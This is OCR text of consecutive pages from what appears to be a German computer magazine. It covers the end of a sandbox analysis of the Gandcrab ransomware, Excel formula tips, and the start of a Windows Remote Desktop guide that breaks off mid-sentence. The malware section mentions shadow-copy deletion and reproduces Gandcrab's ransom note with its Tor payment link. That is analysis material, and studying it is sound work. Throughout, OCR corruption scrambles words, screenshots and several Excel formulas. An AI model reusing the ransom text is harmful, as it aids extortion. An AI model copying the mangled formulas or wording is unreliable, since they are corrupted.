zeit einen Kindprozess von sich selbst und
beginnt dann mit der Verschliisselung. In
diesem Zusammenhang startet es auch
das Win-Kommandozeilentool wmic.exe,
um Schattenkopien des Systemzustands
zu 16schen und auf diese Weise dessen
Wiederherstellung ohne Losegeldzahlung
zu verhindern.

Eine detaillierte Analyse des Troja-
ners wiirde an dieser Stelle zu weit fithren.
Wenn Sie selbst mehr herausfinden und
sich dabei noch besser mit any.run vertraut
machen mochten, konnen Sie sich im ,,Ad-
vanced Details of Process“-Bereich des
Kindprozesses von xkbkagcm.exe unter
anderem die Registry-Keys anschauen, die
Gandcrab wihrend des Verschliisselungs-
prozesses anlegt. Unter der Uberschrift
»Modified Files® erfahren Sie, auf welche
Dateiformate und Ordner Gandcrab die
Verschliisselung anwendet. Dort finden
Sie auch Gandcrabs Erpresserbotschaft
(,,AAQPOJPEZZ-DECRYPT.txt"). Sie kon-
nen sie herunterladen, indem Sie auf den
entsprechenden Eintrag in der ,,Modified
Files“-Liste klicken.

Auch die Netzwerkaktivititen des
Trojaners sind detailliert dargestellt: Der
Reiter ,,Connections umfasst detaillierte
Aufzeichnungen des Datenverkehrs zwi-
schen Gandcrab und mehreren Com-
mand-and-Control-Servern.

Statt einzeln durch die Prozesse zu

navigieren, konnen Sie immer auch die

_. AAQPOIPEZZ-DECRYPT.txt - Notepad

out of 100

Malicious

2590-1000

Malware-Analyse | Praxis

EVENTS

MODIFIED FILES 8012 REGISTRY CHANGES 3 HTTP REQUE]

URRENT_|

any.run stellt fiir jeden gestarteten Prozess eine Detailansicht bereit.

Eventliste im unteren GUI-Bereich nut-
zen. Sie fiithrt prozessiibergreifend alle mit
dem Schadcode assoziierten Aktivititen
auf - chronologisch und mit Zeitangabe.
Abschliefend sei Thnen noch ein
Blick auf die verschiedenen Darstellungs-
formen der any.run-Reports ans Herz ge-
legt, die Sie oberhalb der Prozessliste fin-
den. Die Ansicht als ,,Processes Graph*
verdeutlicht die Zusammenhinge zwi-
schen den gestarteten Prozessen, wih-
rend die ,,ATT&CK Matrix“ den Fokus
auf die Malware-spezifischen Aktivititen
legt. Im ,,Text Report* schlieRlich finden
Sie zusétzliche statische Informationen zu
Dateityp, -headern und -hashes.

Eine runde Sache

Fiir die schnelle Analyse zwischendurch
ist ein kostenloser any.run-Account prima
geeignet. Wer die Sandbox kommerziell
nutzen oder aufwendigere Analysen
durchfiithren will, kann auf kostenpflich-
tige Abos zurtickgreifen. Ab 89 US-Dollar
pro Monat aufwarts erlaubt die Sandbox
den Upload von tiber 16 MB grof3en Datei-

en, verlingert die maximale Analysedauer
und stellt weitere Analyseumgebungen
(32- und 64-Bit-Windows Vista, 8.1 und
10) bereit. Hinzu kommen weitere Fea-
tures wie Videoaufzeichnungen, Team-
arbeit und Reboot wihrend der Analyse.
Unser Beispiel hat gezeigt, dass
any.run anderen Sandboxes immer dann
iiberlegen ist, wenn Interaktionen mit der
hochgeladenen Datei wertvolle Zusatzin-
formationen liefern konnen. Es sind auch
Szenarien denkbar, in denen die Events-
Liste einer herkdmmlichen Sandbox leer
bliebe, weil Interaktionen von grundle-
gender Bedeutung fiir den Programmab-
lauf sind. Zum Beispiel bei Makro-Code,
der erst beim Schlief3en eines Dokuments
zur Ausfithrung kommt. Oder bei der Ana-
lyse verdachtiger Installations-Bundles,
die nach einer Pfadangabe fragen. Die de-
taillierte Event-Protokollierung und die
statischen Zusatzinformationen runden
den Service ab. (ovw@ct.de) ¢t

Gandcrab-Analyse bei any.run:

ct.de/y8wm

Die Ransomware ,,Gandcrab” wiitet
in der Sandbox und any.run-User
kénnen live dabei zuschauen.

GANDCRAB v5.0.4

attention!

B RO RO RO R R HOWRNDER MO CIRCUMSTANCES DO NOT DELETE THIS FILE,

HMWEREAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE ARE DECRYPTION ERRORS¥®Wk¥

A11 your files, documents, photos, databases and other important files are encrypted and have the extension: .AAQPOIPEZZ

The only method of recovering files is to purchase an unigque private key. only we can give you this key and only we can recover your Tiles.

The server with your key is in a closed network TOR. You can get there by the following ways:

. Download Tor browser - https://www.torproject.org/

| o

| 1, 1nstall Tor hrowser

| 2. open Tor Browser

| 3. open Tink in TOR browser:
| 4

http://gandcrabmfeémnef. onion/b6314679c4ba3647

. Follow the instructions on this page

UNTIL ALL YOUR DATA IS RECOWERED™ WM WERM MR W MERWHEIWHE | WH
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Komfortabler rechnen

Tipps zu Steuerelementen und Formeln in Excel

Die Arbeit mit Tabellen kann
zeitraubend sein: Viele Schritte
wiederholen sich dauernd, andere
lassen sich viel zu kompliziert
ausfiihren. Steuerelemente und
Formeln erleichtern die Arbeit. Sie
kénnen zum Beispiel die Auswahl
von Daten beschleunigen oder
Vor- und Nachnamen aus E-Mail-
Adressen extrahieren.

Von Rainer Schwabe

140 EO

mfangreiche Excel-Tabellen sind oft

untibersichtlich und lassen sich nur
schwer bearbeiten. Autofilter verschaffen
eine bessere Ubersicht, da sie aus dem Da-
tenwust das heraussieben, was Sie wirklich
wollen. Dazu driicken Sie Strg+T und Ihre
Liste wird schnell als Tabelle mit Auswahl-
filtern in der ersten Zeile jeder Spalte for-
matiert. Mit diesen zeigen Sie in Excel nur
die Listeneintrige beziehungsweise Daten-
sdtze an, die bestimmte Bedingungen er-
flillen. Die formatierte Tabelle wird sofort
erweitert, sobald Sie Daten in den Nach-
barzellen erginzen. Auch Formeln und
Funktionen, die sich auf diese Tabelle be-
ziehen, werden automatisch aktualisiert.
Wer die Filterpfeile nicht braucht, ldsst sie
mit Umschalt+Strg+L verschwinden. Mit

derselben Tastenkombination lassen sie
sich bei Bedarf wieder einblenden.

Wahrungskurse auf
Knopfdruck

Aber auch bei der Gestaltung der Tabellen
selbst konnen Sie einiges zugunsten tiber-
sichtlicher Ergebnisse tun. Mithilfe von
Steuerelementen lassen sich zum Beispiel
Berechnungen schrittweise per Mausklick
ausfithren. Zudem spart es Platz und ver-
einfacht Einzelauswertungen. Dies zeigen
wir anhand eines Wahrungsrechners. Den
aktuellen Wahrungskurs konnen Sie di-
rekt von einer Webseite kopieren, wobei
Excel ihn meistens als Zahl erkennt. Der
Wihrungsrechner erwartet den Euro-
Wert eines US-Dollars in Zelle F1 und er-
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rechnet daraus, wie viel 10, 20, 30 und
mehr Dollar wert sind. Den umzurech-
nenden Betrag erhoht der Nutzer einfach
per Mausklick in 10-Dollar-Schritten, wo-
rauthin der Wahrungsrechner das Ergeb-
nis automatisch anpasst.

Um das zugehorige Steuerelement
auszuwahlen, holen Sie zunichst das Me-
niiband ,,Entwicklertools® in den Vorder-
grund. Falls es im Menii nicht zu sehen ist,
aktivieren Sie es. Bewegen Sie dazu den
Mauszeiger irgendwo ins Mentiband und
driicken Sie die rechte Maustaste. Wihlen
Sie den Befehl ,,Meniiband anpassen und
aktivieren Sie unter ,,Hauptregisterkar-
ten” die Registerkarte ,, Entwicklertools®.
Nach Schliefden des Dialogs mit OK steht
das Meniiband ,,Entwicklertools® zur Ver-
fligung und ldsst sich per Maus oder
Alt+W aufrufen.

Klicken Sie dort auf die Schaltfliche
,»Einfligen®, wahlen Sie das Steuerelement
»Drehfeld” aus und ziehen Sie es mit ge-
driickter linker Maustaste im Tabellenblatt
auf. Sobald Sie die Maustaste loslassen, er-
scheinen um das Feld die Begrenzungs-
linien und -punkte, iiber die Sie das Steu-
erelement vergrofern oder verkleinern
konnen. Wenn Sie den Mauszeiger auf das
Steuerelement bewegen, lasst es sich bei
gedriickter linker Maustaste im Tabellen-
blatt verschieben. Steuerelemente lassen
sich im Nachhinein schlecht aktivieren,
was aber zum Beispiel zum Anpassen der
Grofie notwendig ist. Wenn Sie das Steu-
erelement aber bei gedriickter Strg-Taste
anklicken, klappt es problemlos.

Bei Klick rechnen

Dem Steuerelement kdnnen bestimmte
Anweisungen zugewiesen werden. Kli-
cken Sie mit der rechten Maustaste darauf,
Offnet sich ein Kontextmeni. Hier lasst
sich auch ein Makro zuweisen. Fiir den
Wihrungsrechner fiihren Sie ,,Steuerele-
ment formatieren” aus. Wichtig ist die
Schrittweite: Hier geben Sie an, in wel-
chen Schritten der Wert hoch- oder herun-
tergezihlt werden soll, fiir den Wahrungs-
rechner also 10. Bei ,,Zellverkniipfung*
geben Sie an, in welcher Zelle dies gesche-
hen soll. Sobald Sie das Fenster mit OK
schlieflen, ist die Schaltflache aktiv und
der Wihrungsrechner lésst sich einsetzen.

Schnelle Auswahl

Sie konnen tiber das Meniiband ,, Entwick-
lertools auch eine Liste erstellen, um
etwa Elemente aus einer Tabelle einzubin-
den, die der Nutzer per Mausklick aus-
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wihlen und so schnell auswerten kann.
Sobald dieser einen Eintrag aus der Liste
auswihlt, werden die zugehorigen Daten
automatisch angezeigt. Das wire zum Bei-
spiel in einer Tabelle mit Umsatzzahlen
der Filialen mehrerer Stadte praktisch, um
einen Stadtenamen auszuwahlen, worauf-
hin die Tabelle die Daten fiir diesen Ort
aufbereitet.

Um ein solches Element anzulegen,
offnen Sie das Auswahlfenster tiber die
Schaltfliache ,,Einfiigen” und klicken Sie
auf die Schaltflache ,,Kombinationsfeld“.
Legen Sie das Feld mit gedriickter linker
Maustaste im Tabellenblatt an und platzie-
ren Sie es. Klicken Sie anschliefdend mit der
rechten Maustaste auf das Kombinations-
listenfeld und geben Sie im Eingabebereich
die Daten der Liste an. Auch wenn sich die
Liste auf einem anderen Tabellenblatt be-
findet, konnen Sie sie einbinden. Bei ,,Zell-
verkniipfung® geben Sie die Zelle an, in der
das Ergebnis der Auswertung stehen soll,
zum Beispiel G9. Wenn Sie im Kombinati-
onslistenfeld auf einen Eintrag klicken,
zeigt Excel die Position in der Liste an.

Die Funktion INDEX(Bezug;Zeile;
[Spalte];[Bereich]) gibt die Werte einer
bestimmten Zeile wieder. Geben Sie in-
nerhalb der Funktion zunichst den Be-
reich der Liste an. Aktivieren Sie danach
die Zelle, in der Excel die Position des Da-
tensatzes anzeigt. Dieser wird liber die

Excel | Praxis

Auswahl der zuvor angelegten Liste ver-
bunden. Da diese Zelle fiir die Funktion
fixiert werden soll, damit der Bezug nach
Kopieren des Inhalts erhalten bleibt, legen
Sie mit der Taste F4 einen absoluten
Bezug fest. Nun geben Sie an, aus welcher
Spalte die Informationen iibertragen wer-
den sollen. Kopieren Sie die Funktion an-
schliefend in die anderen Zellen und an-
dern Sie noch fiir jede Funktion die Spal-
tenzahl. Excel iibernimmt die Inhalte der
ausgewaihlten Spalten und zeigt den kom-
pletten Datensatz an.

Eleganter wire es, in der Umsatz-
iibersicht den Stidtenamen und einen
Monat auszuwdhlen. Dies ladsst sich
mit den Funktionen INDEX (Bereich;Zeile;
[Spalte]) und VERGLEICH(Suchkerkriteri-
um;Suchmatrix; [Vergleichstyp]) realisie-
ren: =INDEX(A1:D24;VERGLEICH(G10;A1:A24;
0) ; VERGLEICH(G8;A1:D1;0)).

Texte verbinden und trennen
In Excel gibt es mehrere Wege, um Zellen-
inhalte in Text einzubetten. Mit dem kauf-
mannischen Und lassen sich die Inhalte
mehrerer Zellen verketten. Anstelle von
Zellbeziigen konnen Sie auch Text in An-
fithrungszeichen hinzufiigen: ="Der Umsatz
am "&A1&" betragt fir die Filiale "&B2&"
"&B3&"
Mitunter stehen in einer Spalte jedoch
Inhalte, die man in einzelne Spalten auf-

Euro." .

Ubung 1 - Excel

prprifen  Ansicht  Entwicklertools Hilfe  Power Pivot O ‘Was mochten Sie tun?
; =N .
E‘ﬁ N \ [£] Eigenschatten @ [ Importieren
= i 9 Erweiterungspakete
Einfugen ECodeanzelgen Quelle -
- [E| Dialogfeld ausfihren =
Formularsteuerelemente nente XML
o R @
@ e .
(40 & &
Drehfeld (Formularsteuerelem ent)
ActiveX-Steacrercmcnye < L | J K 15 M
oEMEEE )
o =
Be AZET
4 »
$ 10 = € 879¢—=F5F1
1 Steuerelement form atieren ? x
o] Q
o = o Grafe Schutz  Eigenschaften  Altemativtext | Steuarung
I
O—— & Ausschneiden Altueller Wert: 10
EB Kapieren Minimalwert: 0 =
B Finfiig =
L0 Emnfiigen Magimalwert: 20000 =
Gruppierung 4 Schrittweite 10 £
Reihenfolge 4 Seitenwechsel 2
Makro zuweisen Zellverknipfung: | 445 +
<
w Steuerelement lonnaher{}. 30-Schattierung

Mit einem Mausklick auf die Pfeiltasten des Steuerelements stellen Sie
den umzurechnenden Wert in der Zelle ein. Die Formel passt das Ergebnis

automatisch an.
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teilen mochte - zum Beispiel, wenn Nach-
name und Vorname durch ein Komma ge-
trennt in derselben Spalte stehen. Eine Si-
syphusarbeit wire es, alles per Hand zu
trennen. Solange das Trennzeichen ein-
deutig ist, erledigt dies der Textkonvertie-
rungsassistenten recht komfortabel. Nach
dem Markieren der Spalte mit den Ur-
sprungsdaten startet man ihn im Ment-
band ,,Daten” iber die Schaltfliche ,,Text
in Spalten®. Hier wihlen Sie als urspriing-
lichen Datentyp ,Getrennt“ und geben
nach einem Klick auf ,Weiter“ das
Komma als Trennzeichen ein. In der Vor-
schau konnen Sie das Ergebnis tiberpriifen
und den Assistenten mit einem Klick auf
»Fertig stellen” beenden.
Umstandlicher wird es, wenn eine
Liste unterschiedliche Trennzeichen ver-
wendet. Das wire zum Beispiel bei E-
Mail-Adressen wie ,,peter.lustig@abc.de”
der Fall, aus denen man Vor- und Nach-
namen extrahieren mochte. Im Textkon-
vertierungsassistenten miisste man zu-
nichst die Domain durch einen Lauf mit
,@" als Trennzeichen extrahieren, sodass
in der Ursprungsspalte nur noch Vor- und
Nachnamen tiibrig bleiben. Ein zweiter
Lauf wiirde diese dann mit Punkt als
Trennzeichen in zwei Spalten aufteilen.
Einfacher funktioniert dies iiber eine
Formel, die auch gleich fiir die korrekte
Grof3- und Kleinschreibung sorgt. Mit
GROSS (), GROSS2 () und KLEIN() dndert Excel
die Schreibweise. Von diesen schreibt
GROSS () die gesamte Zeichenkette grof3,
wihrend GR0SS2 () nur den ersten Buch-
staben anpasst und sich daher fiir die kor-
rekte Schreibweise von Namen eignet. Die

G12 f

A B C o E F

1 Januar Februar Mirz
2 Berlin 128,000 122.000 139.000
3 Bremen 180.000 140,000 150.000
4 Dinstaken 200,000 239,000 250,000
5 Dresden 260,000 258.000 180,000
& [Ddren 230.000 440000  280.000
7 Essen 250,000 210.000 450,000
8 Frankfut 280,000 22000 250,000
8 |Gehemhen 430.000 450.000 450,000
10 Halle 250,000 230.000 250,000
11 Hannover 280.000 345.000  350.000
12 Kassel 450,000 130.000 150,000
13 Kiel 380.000 155.000 200.000
14 Kiin 350.000 270,000 300.000
15 Leipzig 280,000 300.000 480,000
16 Mainz 260,000 400.000 450000
17 Monchen 300.000 350.000 340,000
18 Nomberg 260,000 300.000 260,000
19 Oberhausen 260,000 250.000 280,000
20 Rostock 270,000 500.000 500,000
21 Rilgen 260.000 270.000 480.000

Sclvwerin 280,000 280,000 350,000
23 Stuttgart 230.000 270.000 280,000
24 Wiesbaden 250,000 150.000 170.000
%
£

10{ _ 280.000 € 345.000 € 350.000 €

=INDEX($A$2:5D524,5G%$9;2)

Liste, Auswahlliste und INDEX-Funktion sind miteinander verbunden. Sobald
der Anwender einen Datensatz auswahlt, werden die zugehorigen Daten direkt

tibernommen.

Funktionen LINKS() beziehungsweise
RECHTS() selektieren die Zeichen vor be-
ziehungsweise nach einer bestimmten
Stelle.

Wenn die E-Mail-Adresse in Zelle A4
steht, extrahiert die Formel =GROSS2(
LINKS (A4 ;FINDEN(".";A4)-1)) den Vorna-
men. Dabei sucht sie tiber FINDEN() den
ersten Punkt einer Zeichenfolge und gibt
die Zeichen links davon (-1) zurtick.
GROSS2 () setzt schliefilich das erste Zei-
chen grofs.

Fiir die Ubertragung des Nach-
namens sorgt die Funktion TEIL(), die aus
einer Zeichenkette ab einer bestimmten
Position eine bestimmte Anzahl Zeichen

— 6 H I ] K L

liefert. Auf diese Weise filtert =GR0SS2
(TEIL(AL14;FINDEN(".";A14)+1;FINDEN("@";
Al14)-FINDEN(".";A14)-1)) den Nachnamen
aus der E-Mail-Adresse in Zelle Al4.
Dabei gibt TEIL() die Zeichenfolge zwi-
schen dem ersten Punkt bis zum Zeichen
,@"“ wieder. Die beiden ersten FINDEN()
ermitteln die beiden Zeichen. Durch Sub-
traktion der dritten Funktion FINDEN() lie-
fert die Formel schlief3lich alle Zeichen
zwischen Punkt und ,,@“ zurtick.

Zellen verbinden

Zellen lassen sich auch mit einem Maus-
klick miteinander verbinden, um etwa
eine Uberschrift {iber mehrere Spalten

Die Formel
libernimmt die
Daten aus dem

:: m . S 5o =INDEX(A1:D24;VERGLEICH(G10;A1:A1:A24;0);VERGLEICH(GS8;A1:D1;0)) Schnittpunkt des
2 Rogen  mao o000 480000 in Zelle G8

» m" P00 20000 200000 angegebenen

- — i ] Monats und dem
E Ort in G10.
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B1 X o f uSUMMEIB:C)
A B

| Fahrtenbuch 2018

|__Monat _Fahrtkosten |
01 53844 €
02 878,55 €
780,88 €
847,99 €
400€
458,86 €
M358 €
889,44 €
9844 €
134,88 €

Tabellel

G H I 4 K L

481425 € {

[ Falutenbuch 2018 |Gesamt
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Mit der Option ,Uber
Auswahl zentrieren”
lassen sich Zellen so
verbinden, dass sich
Berechnungen
uneingeschrankt
durchfiihren lassen.

T Froupeben

hinweg zu zentrieren. Uber die Schalt-
fliche ,Verbinden und zentrieren“ im
Start-Meniiband fassen Sie alles zusam-
men. Doch einen grofden Haken hat die
Sache: Die so verbundenen Zellen stéren
bei Berechnungen. So konnen Sie zum
Beispiel keine Summe aus einer Spalte mit
=SUMME (B:C) bilden.

Hier bietet sich ein anderer Weg an.
Markieren Sie wieder die entsprechenden
Zellen und 6ffnen Sie den Dialog ,,Zellen
formatieren” mit Strg+1. Holen Sie dort die
Registerkarte ,,Ausrichtung® in den Vor-
dergrund. Offnen Sie die Auswahl bei ,, Ho-
rizontal“ und wihlen Sie hier die Angabe
»Uber Auswahl zentrieren. Der Inhalt der
Zelle wird entsprechend der Markierung
zentriert, die Zellen dahinter bleiben je-

doch einzeln bestehen und lassen sich fiir
Berechnungen uneingeschriankt nutzen.

Bedingungen verkniipfen

Funktionen wie SUMME (), MAX(), MIN() oder
WENN() gehoren zum Alltag vieler Excel-
Nutzer. In Excel konnen Sie mehrere Be-
dingungen gleichzeitig mit nur einer
Funktion aufstellen. Mit SUMMEWENN() er-
mitteln Sie die Summe eines Bereichs,
wenn eine Bedingung erfiillt ist. Mit =SUM-
MEWENNS () dagegen konnen Sie gleich meh-
rere Bedingungen aufstellen. Doch bei
zahlreichen Verschachtelungen verliert
man schon mal den Uberblick. Wenn Sie
mehrere WENN-Bedingungen einsetzen
mochten, addieren Sie die Funktionen
einfach: =WENN(..)+WENN() .. +WENN(). Hier

Zellzeiger im Sauseschritt

Der Eingabekasten in Excel nennt sich
auch Zellzeiger. Er ist am griinen Rah-
men einer Zelle zu erkennen, sobald
diese selektiert ist. In groBen Tabellen
hilft der Zellzeiger, schnell an eine an-
dere Stelle der Tabelle zu springen. Ein
Doppelklick auf den Rand selektiert die
letzte Zeile dieser Spalte innerhalb einer
Liste. Driickt man die Strg-Taste und
eine Cursor-Taste, rast der Zellzeiger in
die jeweilige Richtung zum letzten be-
ziehungsweise ersten Zelleintrag. Mit
Strg+Ende gelangen Sie zu der Zelle, die
sich direkt unter der letzten in der Liste
befindet.
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Eine gesamte Liste lasst sich eben-
falls schnell markieren. Hier haben Sie
sogar gleich drei Moglichkeiten. Alle drei
haben die Tasten Strg+Umschalt gemein-
sam. Zusatzlich driicken Sie entweder
¥, Ende oder die Leertaste. In jedem
Fall ist die Liste, in der sich der Cursor
befindet, komplett markiert.

Wenn Sie die Strg-Taste und eine
Pfeiltaste driicken, selektiert dies die Zel-
len in der jeweiligen Pfeilrichtung. Mit
gedriickter Strg-Taste und einem oder
mehreren Mausklicks hintereinander
kénnen Sie mehrere Bereiche gleich-
zeitig markieren.

ist der Riickgabewert eine Zahl. Setzen Sie
dagegen ,,&“ statt des Plus-Zeichens ein,
formatiert Excel das Ergebnis als Text,
auch bei Zahlen. Die Funktionen UND()
und ODER() verbinden Bedingungen mit-
einander. Dabei miissen diese Funktionen
wie in =25000;C4>=5);B4*10%;WENN
(ODER(B4>=25000;C4>=5);B4*5%;0))
immer vor den Argumenten angegeben
werden.

In dieser Kategorie gibt es seit Excel
2016 weitere Funktionen, die allerdings
nur im Office-365-Abonnement bereitste-
hen. Mit WENNS () konnen Sie mehrere Be-
dingungen angeben, ohne vor lauter Ver-
schachtelungen den Uberblick zu verlieren.
Die Funktion arbeitet die Bedingungen in
der angegebenen Reihenfolge ab und gibt
den Wert zuriick, der der ersten Wahr-Be-
dingung entspricht. Als letzte Bedingung
konnen Sie auch WAHR und einen Wert an-
geben, den die Funktion als Standard zu-
rlickgibt, wenn alle vorherigen Bedingun-
gen FALSCH ergeben. Mit dieser Funktion
konnen Sie bis zu 127 verschiedene Bedin-
gungen hintereinander aufstellen, die weit-
aus verstindlicher als ebenso viele ver-
schachtelte WENN-Funktionen wiren.

Dartiber hinaus bieten sich weitere
Optionen an. Die Funktion MAXWENNS()
zeigt die grofite Zahl aus einem bestimm-
ten Bereich an, wenn mindestens eine Be-
dingung erfiillt ist. Analog dazu gibt MIN-
WENNS () die kleinste Zahl in einem Bereich
zurlick, die mindestens ein Kriterium er-
fiillt. Auf gleiche Art und Weise setzen Sie
MITTELWERTWENNS ein, um mehrere Bedin-
gungen fiir den Durchschnitt zu bertick-
sichtigen. (db@ct.de) ¢t
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Ferne Fenster

Remotedesktopverbindung: Der
praktische Fernzugriff auf Windows 10

Die Fernsteuerung von Windows-
PCs per Remotedesktopverbindung
hilft nicht nur Administratoren. Man
kann damit zum Beispiel mit dem
Tablet die Software auf dem PC
nutzen - unterwegs oder auf der
Wohnzimmercouch.

Von Jan Mahn

ie Remotedesktopverbindung tiber

das Remote Desktop Protocol (RDP)
bringt Windows schon seit Windows XP
mit. Uber RDP bekommt der Nutzer die
grafische Oberfliche wie in einer lokalen
Sitzung. In diesem Artikel geht es um die
Grundlagen und die Moglichkeiten, die
Windows 10 Professional, Enterprise und
Education mitbringen. Home-Nutzer blei-
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ben aufden vor, das Feature zum Freigeben
einer Remotedesktopverbindung fehlt in
ihrer Version. Sie konnen aber mit Home
auf andere Rechner zugreifen. Das Ein-
richten eines Terminalservers fiir mehrere
Benutzer mit Windows Server werden wir
in einer der nachsten Ausgaben vorstellen.

Im Alltag
Szenarien filir Remote-Zugriffe auf einen
Windows-Desktop gibt es viele: Nicht zu
unterschitzen ist zunédchst der Komfort-
gewinn, mit dem Notebook, Android-
oder i0S-Tablet oder dem Mac an reinen
Windows-Anwendungen in der gewohn-
ten Umgebung des Desktop-PCs mit allen
Dateien weiterarbeiten zu konnen - auf
dem Sofa oder auf Dienstreise.
Entwickler konnen zum Beispiel ein
System mit ihrer Sammlung an virtuellen
Maschinen fiir den Fernzugriff freigeben
und haben so mit einem Billig-Notebook

auch unterwegs Zugriff auf die volle Leis-
tung ihrer Workstation.

Wer zu Hause oder in einem kleinen
Biiro eine Software mit mehreren Nutzern
einsetzen mochte, fiir die es keine brauch-
oder bezahlbare Mehrbenutzer-Ausgabe
gibt, kann sich mit einem Remotedesktop-
PC helfen: Man spart sich das undankbare
Gefummel mit Datenbankdateien in
Netzlaufwerken, auf die mehrere Nutzer
zugreifen konnen - eine Idee, die frither
oder spater meist zu Datenverlust fithrt -
und installiert das Programm einmalig auf
einer per RDP erreichbaren Maschine.
Beliebte Programmkategorien fiir dieses
Szenario sind Buchhaltungsprogramme,
Adressdatenbanken oder Vereinsverwal-
tungen. Gibt es nur einen Benutzer-
account, den alle nutzen, konnen sich die
Kollegen oder Verwandten zwar gegen-
seitig aus dem Programm werfen, aber
nicht versehentlich die Daten des anderen
iberschreiben.

Wer von unterwegs auf einen Win-
dows-Rechner zugreifen mochte, kann ein
VPN ins lokale Netz einrichten und sich
mobil zum Beispiel tiber das Tablet ver-
binden. RDP kommt auch mit kleineren
Bandbreiten gut zurecht und funktioniert
iiber eine LTE-Verbindung meist ruckel-
frei. Eine Portfreigabe im Router von Port
3389 (der Port flir RDP) auf den PC emp-
fiehlt Microsoft aus Sicherheitsgriinden
nicht. Eine Ein-Klick-Losung fiir den Auf-
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bau einer VPN-Verbindung mit Aufbau
einer Remotedesktopverbindung in einem
Rutsch haben wir bereits vorgestellt [1].

Zum Spielen, flir Video-Streaming
oder Videoschnitt ist das Protokoll RDP
definitiv nicht gemacht - passende Losun-
gen, die hardwarebeschleunigte Techni-
ken einsetzen, haben wir in der letzten
Ausgabe von ¢’t vorgestellt [2].

Verwechslungsgefahr

RDP gerat leicht mit VNC oder TeamVie-
wer durcheinander, die ebenfalls Fernzu-
griffe auf einen Rechner erlauben. Das
Funktionsprinzip ist aber ein anderes: Sol-
che Sitzungen spiegeln den Inhalt einer
aktiven Benutzersitzung tiber das Netz-
werk und empfangen die Maus- und Tas-
taturbefehle des entfernten Benutzers. Ist
an den gespiegelten Rechner ein Bild-
schirm angeschlossen, bewegt sich der
Mauszeiger wie von Geisterhand. Der Ad-
ministrator kann so zum Beispiel ein Pro-
gramm aus der Ferne installieren und ne-
benbei mit dem Nutzer telefonieren und
ihm Bedienschritte erklaren.

Eine RDP-Verbindung trennt ibli-
cherweise die lokale Sitzung, sobald sich
ein Benutzer aus der Ferne anmeldet,
denn dasselbe Benutzerkonto kann auf
einer Windows-Maschine immer nur eine
Sitzung haben - entweder lokal oder re-
mote. Greift man mit dem gerade ange-
meldeten Benutzerkonto aus der Ferne zu,
bekommt man den letzten lokalen Zu-
stand auf den Schirm - also alle gedffneten
Programmfenster - und kann nahtlos
weiterarbeiten.

Windows 10 erlaubt auferdem insge-
samt nur eine gleichzeitige Benutzersit-
zung. Nimmt man ein anderes Konto als
das gerade angemeldete, bekommt man
eine neue Benutzersitzung, der lokale Nut-
zer sieht den Anmeldeschirm. Aktiviert
wird der Remote-Zugriff iber die klassi-
sche Systemsteuerung (control.exe). Im
Meniipunkt ,,System“ (am schnellsten zu
erreichen, wenn Sie Windows+Pause drii-
cken) finden Sie links ,,Remoteeinstellun-
gen“. Der Weg iiber die moderne ,,Einstel-
lungen“-App von Windows 10 ist dagegen
ernlichternd. Hier fehlen - wie so oft in
dieser Oberfliche -wesentliche Optionen.

Die einzige Moglichkeit, iiber RDP
eine gespiegelte Sitzung wie mit VNC zu
sehen, ist die Windows-Funktion Remote-
unterstiitzung. Wenn Sie die diese akti-
viert haben, kann der Hilfesuchende das
Programm ,msra.exe ausfithren (die
Windows-Suche findet es nicht zuverlis-
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sig), eine sogenannte Einladungsdatei er-
stellen, diese per Mail an denjenigen ver-
schicken, der die Unterstiitzung anbietet.
Auf der Gegenseite kann der Helfer die
Einladungsdatei mit msra.exe 6ffnen und
sich verbinden. Wirklich endanwender-
sicher ist das nicht und andere Pro-
gramme wie TeamViewer funktionieren
wesentlich intuitiver [3].

Auf den Schirm

Clients fiir RDP gibt es nicht nur fiir
Windows, sondern fiir fast alle Betriebs-
systeme, und das Schone an allen ist:
Haben Sie das Grundprinzip unter Win-
dows einmal verstanden, sind die Pen-
dants fiir die anderen Betriebssysteme
selbsterklarend. Fiir macOS bietet Micro-
soft sogar selbst einen Client im App-
Store, Linux-Nutzer setzen auf rdesktop
oder FreeRDP. Aber auch Handy- und
Tablet-Nutzer konnen sich per RDP mit
Windows-Rechnern verbinden. Auch fiir
10S und Android bringt Microsoft kosten-
lose Apps in die Stores. Sie haben stan-
dardmiflig einen ungewohnlichen, aber
sehr funktionalen Mausmodus: Der ge-
samte Touch-Bildschirm funktioniert wie
das Trackpad eines Notebooks. Man be-
wegt also die Maus an die richtige Stelle
und tippt dann irgendwo auf das Display,
anstatt zu versuchen, auf einem zu kleinen
Bildschirm noch kleinere Bedienelemente
zu treffen, die nicht fiir den Touch-Einsatz
gemacht sind.

Fiir die ersten Experimente mit der
Remotedesktopverbindung reichen zwei
Windows-PCs im lokalen Netzwerk.
Schalten Sie im Systemsteuerungs-Menii
,»Verbindungen mit diesem Computer zu-
lassen ein. Den Haken vor ,Verbindun-
gen nur von Computern zulassen, auf
denen ... sollten Sie aktiviert lassen. Die
Einstellung stellt sicher, dass der Nutzer
nicht das Bild des Windows-Anmelde-
schirms zu Gesicht bekommt, sondern
schon vorher Benutzername und Kenn-
wort eingeben muss. Wer iiber einen
Linux-Client zugreifen will, muss den
Haken entfernen. Dem Client fehlen
Bibliotheken, um diese Art der Anmel-
dung durchzufiihren. Das interaktive Ver-
fahren iiber den Anmeldebildschirm kos-
tet etwas mehr Ressourcen - im lokalen
Netz zu verschmerzen.

Spitestens jetzt missen Sie ein Kenn-
wort fiir alle lokalen Konten vergeben, die
sich anmelden sollen. Aber nicht alle Be-
nutzerkonten diirfen sich automatisch aus
der Ferne anmelden. Dieses Recht haben
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Computemame Hardware Erwettet Computerschutz Remote
Remoteunterstutzung
(] Remateunterstitzungsverbindungen mit dissem Computer zulassen

Was geschieht, wenn Remoteunterstitzung aktiviert
ist?

Remotedeskiop

Wahlen Sie eine Option aus, und geben Sie anschlieBend an, wer
eine Verbindung herstellen darf

() Keine Remoteverbindung mit diesem Computer zulassen
(#®) Remoteverbindung mit diesem Computer zulassen
Verbindungen nur von Computem zulassen, auf denen
Remotedesktop mit Authertifizierung auf Netzwerkebene
ausgefihrt wird (empfohlen)
Benutzer auswahlen...

Entscheidungshiffe

oK Abbrechen Ubemehmen

Die Remotedesktopverbindung wird
in der Systemsteuerung aktiviert. Eine
Windows-Version ab Professional ist
dafir erforderlich.

standardmaf3ig nur Mitglieder der Grup-
pen ,,Administratoren” und ,Remote-
desktopbenutzer®. Um hier Benutzer hin-
zuzufiigen, 6ffnen Sie die Computerver-
waltung (compmgmt.msc) - die moderne
